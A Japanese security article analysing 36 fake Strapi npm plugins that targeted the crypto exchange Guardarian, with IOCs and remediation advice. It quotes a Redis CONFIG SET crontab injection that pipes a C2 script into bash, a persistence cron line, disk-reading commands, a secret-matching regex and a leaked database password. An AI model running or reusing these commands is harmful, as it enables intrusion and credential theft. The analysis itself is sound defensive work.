偽Strapiプラグイン36個がRedis RCEとPostgreSQL窃取で暗号資産取引所を狙い撃ちにしていた
目次
axiosメンテナが北朝鮮UNC1069のソーシャルエンジニアリングで端末ごと掌握された事件の余韻が冷めないうちに、npmサプライチェーン攻撃がまた1つ報告された。しかも今度はかなり狙い撃ちだった。
SafeDepが2026年4月上旬に報告した調査によると、npmレジストリにStrapi CMSのプラグインを装った36個の悪性パッケージが公開されていた。全パッケージが strapi-plugin- で始まる命名規則で、バージョンも 3.6.8 とStrapi v3のコミュニティプラグインに見せかけている。
UNC1069がFastifyやLodash、dotenvのメンテナまで横断的に狙っていたように信頼された人間のアカウントを乗っ取る手口とは対照的に、これは最初から攻撃専用に作られたパッケージ群だ。ただし、ペイロード(攻撃に使われるコード本体)に含まれるハードコードされたPostgreSQL認証情報やホスト名からは、事前に内部情報を窃取済みであることが読み取れる。入口が違うだけで、「まず人間かシステムを落とし、得た情報でサプライチェーンを攻める」という構図は共通している。
ペイロードの内容を見ると、不特定多数を狙ったばらまき型ではない。暗号資産取引所 Guardarian のインフラを明確にターゲットにしていた形跡がある。
13時間で36パッケージ、4つの捨てアカウント
パッケージは4つのソックパペット(偽装用の使い捨てアカウント)から公開された。
| アカウント | パッケージ数 | 主なペイロード |
|---|---|---|
| umarbek1233 | 9個 | Redis RCE、Docker脱出、リバースシェル、クレデンシャル収集 |
| kekylf12 | 8個 | PostgreSQL直接窃取、永続インプラント、ファイルレスシェル |
| tikeqemif26 | 10個 | nordica系の変種 |
| umar_bektembiev1 | 10個 | 初期波。guardarian-ext含む |
umarbek1233とkekylf12のメタデータからは同一のNode.js v24.13.1 / npm 11.8.0環境が確認されている。同一人物か、少なくとも同一の開発環境を共有するグループの仕業だ。
全パッケージの構成は同じ3ファイル。package.json、空の index.js(module.exports = () => {})、そして本体の postinstall.js。npm install した瞬間に postinstall スクリプトが走り、ユーザーの操作なしで攻撃が始まる。description、repository、homepageは一切なし。
8種のペイロードと進化の過程
36パッケージに含まれるペイロードは8種類に分類でき、13時間の公開期間中に攻撃者が手法を段階的に洗練させていった様子が読み取れる。
graph TD
A["02:02 UTC<br/>Payload 1: Redis RCE<br/>crontab注入+PHPウェブシェル"] --> B["02:47<br/>Payload 2: Docker脱出<br/>overlay upperdir解析"]
B --> C["03:01-03:37<br/>Payload 3-4: リバースシェル<br/>bash/Python/Redis 3経路"]
C --> D["03:40-03:46<br/>Payload 5: クレデンシャル収集<br/>11フェーズ偵察+C2ポーリング"]
D --> E["04:45<br/>Payload 6: PostgreSQL直接接続<br/>ハードコードされた認証情報"]
E --> F["11:53<br/>Payload 7: 永続インプラント<br/>hostname===prod-strapi限定"]
F --> G["15:04<br/>Payload 8: ファイルレスシェル<br/>Guardarian固有パス指定"]
時系列で見ると、荒削りなRedis RCEから始まり、最後はターゲットのホスト名やファイルパスをハードコードした精密な攻撃に収束している。
Payload 1: RedisのCONFIG SET悪用によるcrontab注入
最初に公開された strapi-plugin-cron が使う手法は、Redis界隈では古典的だが破壊力がある。ローカルからアクセス可能なRedisインスタンスに対して、RESPプロトコル(Redisの通信プロトコル)で直接コマンドを送り込む。
攻撃の流れはこうだ。
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
SET cron_payload "*/1 * * * * curl -s http://144.31.107.231:9999/shell.sh | bash"
SAVE
CONFIG SET dir でRedisのデータ保存先を変更し、CONFIG SET dbfilename で保存ファイル名をcrontabのファイル名に合わせ、SAVE でcrontabとして書き出す。これでcronデーモンが毎分C2(Command and Control、攻撃者の指令サーバー)からシェルスクリプトをダウンロード・実行する。
試行するcrontabパスは5つ。
| パス | 対象環境 |
|---|---|
/var/spool/cron/crontabs/root | Debian/Ubuntu系 |
/var/spool/cron/root | RHEL/CentOS系 |
/etc/cron.d/redis_job | システム全体のcron |
/etc/crontab | グローバルcrontab |
/tmp/cron_test | ドライランによる書き込みテスト |
ダウンロードされるシェルスクリプトは、Strapiの公開アップロードディレクトリに2つのバックドアを設置する。
/app/public/uploads/shell.phpとしてPHPウェブシェル/app/public/uploads/revshell.jsとしてNode.jsリバースシェル
さらにSSH authorized_keysへの公開鍵注入、mknod /tmp/hostdisk b 8 1 と dd if=/dev/sda1 によるディスク直接読み取りまで試みる。認証なしでアクセスできるRedisが1台あるだけで、ここまでやられる。
Redisの CONFIG SET 攻撃とは
この手法は2015年頃から知られている。Redisはデフォルトで認証なし・ローカルバインドで動作し、CONFIG SET でデータの保存先を任意のパスに変更できる。本来はRedisの運用設定を動的に変更するための機能だが、攻撃者にとっては「任意のファイルを任意のパスに書き込める」プリミティブになる。
crontab以外にも、SSHの authorized_keys、Webサーバーのドキュメントルート、systemdのユニットファイルなどが書き込み先として悪用されてきた。Redis 6.0以降ではACL(アクセス制御リスト)が導入され、Redis 7.0では CONFIG SET dir がデフォルトで保護されるようになったが、古いバージョンやデフォルト設定のまま運用されているインスタンスは依然として多い。
Payload 2: Dockerオーバーレイ脱出
strapi-plugin-config はコンテナ環境からのエスケープを試みる。mount コマンドの出力を解析してoverlayfsの upperdir パスを取得し、ホストファイルシステムへのアクセスを狙う。
overlayfsはDockerが使うユニオンファイルシステムで、コンテナのファイルシステムは「下層(イメージ)」と「上層(コンテナの変更分)」を重ねて構成される。upperdir はこの上層ディレクトリのホスト側パスで、コンテナ内から見えないはずのホストパスだ。しかし特権コンテナやmount情報が漏洩する設定では、ここからホスト側に到達できる。
このペイロードは暗号資産関連の環境変数を明示的に探索する。HOT_WALLET、COLD_WALLET、DEPOSIT_ADDRESS、MNEMONIC がフィルタ対象だ。ホットウォレット(オンラインで即時送金可能な資産)とコールドウォレット(オフラインで保管する資産)の秘密鍵が狙い。
/app/node_modules/.hooks.js にフック用のペイロードを書き込む手法も含まれており、Strapiアプリケーションの再起動時に自動実行される仕掛けになっている。
Payload 5: 11フェーズの偵察とクレデンシャル収集
strapi-plugin-monitor と strapi-plugin-events は最も体系的なペイロードを持つ。postinstall 実行時に11段階の偵察を行い、収集したデータをC2に送信した後、コマンド受信用のポーリングループに入る。
graph TD
A["Phase 1: システムビーコン<br/>hostname, user, IP, Node.jsバージョン"] --> B["Phase 2: .envファイル窃取<br/>8つのハードコードパス"]
B --> C["Phase 3: 環境変数ダンプ<br/>key/secret/token等をフィルタ"]
C --> D["Phase 4: Strapi設定ファイル"]
D --> E["Phase 5: .envファイル全探索<br/>find / -maxdepth 5 -name '.env*'"]
E --> F["Phase 6: Redisデータダンプ<br/>INFO, DBSIZE, KEYS"]
F --> G["Phase 7: ネットワーク偵察<br/>/etc/hosts, ARP, routes"]
G --> H["Phase 8: Docker/K8sシークレット<br/>サービスアカウントトークン含む"]
H --> I["Phase 9: 秘密鍵探索<br/>.pem, .key, id_rsa*, wallet*"]
I --> J["Phase 10: Strapiデータベースアクセス"]
J --> K["Phase 11: C2ポーリングループ<br/>30回×5秒 = 2.5分"]
Phase 8のKubernetes関連では /var/run/secrets/kubernetes.io/serviceaccount/token を読み取る。このトークンが漏洩すると、Pod境界を超えてKubernetesクラスタのAPIにアクセスされる可能性がある。
環境変数のフィルタリングは正規表現 /key|secret|pass|token|db|redis|api|jwt|admin|auth|wallet|ledger/i で行われ、npm由来の変数はノイズとして除外される。ここにも wallet と ledger が含まれている。
C2との通信は 144.31.107.231:9999 へのプレーンHTTP POST。暗号化なし、タイムアウト15秒。パスは /c2/<session_id>/ 形式で、セッションIDは guard-k7f2m9 のようなランダム文字列。この guard- プレフィックスがGuardarianを示唆している。
Payload 6: PostgreSQLへのハードコード認証情報による直接接続
strapi-plugin-seed は最も標的特定性が高い。PostgreSQLへの接続情報がハードコードされている。
host: 127.0.0.1
port: 5432
user: user_strapi
password: 1QKtYPp18UsyU2ZwInVM
この認証情報は事前に窃取されたものだ。つまりこのキャンペーン(一連の攻撃活動)は初期侵入ではなく、既存のアクセスを武器化した二次攻撃という性質を持つ。UNC1069がaxiosメンテナの端末を掌握した後にnpmトークンを使って汚染版を公開したのと同じ構図で、「初期アクセスで得た認証情報を別チャネルから再利用する」パターンだ。認証情報の入手経路がソーシャルエンジニアリングだったのか、別のサプライチェーン攻撃だったのか、あるいは内部者経由だったのかは不明だが、事前偵察の深さからして単なる推測ではないことは確かだ。
接続後の動作は3段階。
- Strapiの
strapi_webhooksテーブルから内部APIのURLを取得 core_storeテーブルからsecret、token、key、api、webhook、grant、password、authを含むレコードを抽出pg_databaseを列挙し、テンプレート以外の全データベースに接続を試行
さらに明示的に guardarian、guardarian_payments、exchange、custody、payments、api_payments というデータベース名への接続を試みる。テーブルの探索パターンは /wallet|transaction|deposit|withdraw|hot|cold|balance/i で、暗号資産取引所の資産管理テーブルをピンポイントで狙っている。
Payload 7-8: 永続化とファイルレスバックドア
最終段階の2つのペイロードは、最も洗練されている。
Payload 7(strapi-plugin-blurhash@3.6.8)はホスト名による厳格な条件チェックを行う。hostname === 'prod-strapi' の場合のみ実行される。この条件はGuardarianの本番環境のホスト名を攻撃者が知っていたことを意味する。
永続化は2重構造だ。
/tmp/.node_gc.jsにエージェントを書き込み、detached: true+child.unref()で親プロセスから切り離して起動- crontabに
* * * * * pgrep -f node_gc || node /tmp/.node_gc.jsを登録し、プロセスが死んでも毎分復活させる
C2ポーリングは3秒間隔で /shell/poll と /shell/result に通信する。
Payload 8(strapi-plugin-blurhash@3.6.9、同じパッケージ名のバージョン違い)はさらに踏み込んでいる。ファイルレス(ディスクに痕跡を残さない)手法で、node -e '<インラインC2エージェントコード>' としてプロセス上にのみ存在するバックドアを起動する。
ハードコードされたパスがターゲットの内部構成を露呈させている。
/var/www/nowguardarian-strapi/.envでGuardarianのStrapi環境設定/opt/secrets/strapi-green.envでブルーグリーンデプロイメントの環境設定/opt/secrets/ディレクトリの全ファイル読み取り
JenkinsのCIパイプラインを使っていることも前提としたパスが含まれており、C2パスには /build/<id>/secret が使われている。
npmサプライチェーン攻撃の手口の変遷
今回のキャンペーンを、最近のnpmサプライチェーン攻撃と並べてみる。
| キャンペーン | 手口 | 標的の広さ | 技術的な洗練度 |
|---|---|---|---|
| UNC1069 メンテナ標的化 | ソーシャルエンジニアリングでメンテナ端末掌握 | 非常に広範(Fastify, Lodash, dotenv等の高信頼メンテナを横断標的化) | 高(人間を攻撃ベクターに利用) |
| axios侵害(上記の成功例) | メンテナアカウント乗っ取り→正規パッケージ汚染 | 非常に広範(週間1億DL) | 中(3 OS対応RAT) |
| SANDWORM_MODE | タイポスクワッティング(名前を似せた偽パッケージ) | 広範(AI開発者全般) | 中(SSHキー・npmトークン窃取) |
| Famous Chollima StegaBin | タイポスクワッティング+ゼロ幅文字ステガノグラフィ | 広範 | 高(C2隠蔽技術) |
| Clinejection | AIエージェント経由のプロンプトインジェクション | 中(Clineユーザー) | 非常に高(AIを攻撃ベクターに利用) |
| 今回のStrapiプラグイン偽装 | タイポスクワッティング+事前窃取情報の武器化 | 極めて狭い(特定企業1社) | 中低(難読化なし) |
特徴的なのは、コードの難読化を一切していない点だ。全ペイロードが可読なJavaScriptで書かれており、ステルス性よりも開発速度を優先している。13時間で8種のペイロードを投入するスピード重視のアプローチで、「検知される前に刺さればいい」という割り切りが見える。
一方で、ターゲットの本番ホスト名、PostgreSQLの認証情報、内部ディレクトリ構造、使用しているCIツールまで把握している点は、事前の偵察(あるいは内部者の関与)を強く示唆する。npmパッケージという経路を選んだのは、既に得ていた内部情報を活かしてアクセスを拡大するためだったのだろう。
npmが現在晒されている脅威は、大きく2つの方向から来ている。1つはUNC1069のような「信頼された人間を攻める」アプローチ。メンテナの端末を掌握し、正規パッケージを汚染する。もう1つは今回のような「偽パッケージで特定インフラを直接攻める」アプローチ。どちらも最終的には事前に得た内部情報がものを言う点で共通しており、npmレジストリは攻撃の起点ではなく中継地になりつつある。
IOC(侵害の痕跡)と対応
C2サーバーは 144.31.107.231 の3ポートに集約されている。
| ポート | 用途 |
|---|---|
| 9999 | メインC2。データ窃取、コマンド配信 |
| 4444 | bashリバースシェル |
| 8888 | Pythonリバースシェル |
ファイルシステム上の痕跡として確認すべきもの。
| パス | 内容 |
|---|---|
/tmp/.node_gc.js | 永続エージェント |
/tmp/vps_shell.sh、/tmp/redis_exec.sh | ダウンロードされたシェルスクリプト |
/app/public/uploads/shell.php | PHPウェブシェル |
/app/node_modules/.hooks.js | 注入されたフック |
該当パッケージをインストールした環境は侵害済みとみなすべきだ。全クレデンシャルのローテーション、Redisのcrontab確認、/tmp 配下の不審なファイルの確認、PostgreSQLの接続ログの精査が必要になる。
Strapi v3系のコミュニティプラグインをnpmで探している開発者は、未スコープのパッケージ(@strapi/ プレフィックスがないもの)に対して特に警戒すべきだろう。pnpm v10の onlyBuiltDependencies のような postinstall スクリプト制限機構の導入も、この手の攻撃の影響範囲を狭める手段として有効だ。